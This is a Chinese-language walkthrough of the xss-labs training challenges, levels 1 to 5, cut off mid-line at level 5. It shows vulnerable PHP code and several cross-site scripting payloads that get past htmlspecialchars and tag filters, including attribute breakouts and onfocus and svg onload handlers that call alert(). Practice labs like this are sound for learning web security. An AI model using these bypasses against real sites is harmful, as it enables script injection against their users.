l evel1:
无过滤形式
直接
<script>window.alert(123)</script>
level2:
htmlspecialchars函数将预定义的小于和大于号转换为html实体
< (小于)成为 <
> (大于)成为 >
源代码
<?php
ini_set("display_errors", 0);
$str = $_GET["<script>window.alert(111)</script>"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
这一个只是在文字里设置了,但是input的value并没有
这是最后输出的格式:"<script>window.alert(111)</script>"
所以如果想绕过那么就想办法让程序识别不到小于号
但是这个函数默认配置不会将单引号和双引号过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单引号
所以
"> '<script>window.alert(11)</script>' <"
前后各自加的内容是为了闭合前后的符号,让中间内容单独出现
$str = $_GET[""> <script>window.alert(11)</script> <""];
> <script>window.alert(11)</script> <
htmlspecialchars(> <script>window.alert(11)</script> <)
level3:
没有找到和<script>window.alert(11)</script>相关的结果.
"> "<script>window.alert(11)</script>" <"
上一句之所以没有用,就是因为value里也被设置了编码所以这个要绕过的是value里的编码
但是只要是大于号都会被编码,所以我们应该去寻找其他注入代码
方法:onfocus代替<script></script>,然后再利用js伪协议
这样就能取代大于小于号
原理:onfocus事件在元素获得焦点时触发,最常与 <input>、<select> 和 <a> 标签一起使用,以上面图片的html标签<input>为例,<input>标签是有输入框的,简单来说,onfocus事件就是当输入框被点击的时候,就会触发myFunction()函数,然后我们再配合javascript伪协议来执行javascript代码
最后输入框代码变成了这样:
<input name=keyword value='' οnfοcus=javascript:alert() ''>
<input type=submit name=submit value=搜索 />
所以再输入之后再点击一下输入框即可注入成功
level4:
<input name=keyword value="scriptalert(123)/script">
可见大于号是直接被去掉了
再看这个代码会发现value后面有双引号,而且双引号是不会被编码或者删掉,所以想法是第三关,但是要在前面加上双引号
"οnfοcus=javascript:alert()
level5:
<input name=keyword value="<scr_ipt>alert(123)</script>">
输入注入代码,会发现第一个srcipt标签加上了下划线
而且<svg/οnlοad=alert(1)>
则会
<input name=keyword value="<svg/o_nload=alert(1)>">
说明不管输入什么,它都会在第一个标签的中间位置加上下划线
于是我们查看了源代码
str2=str_replace("\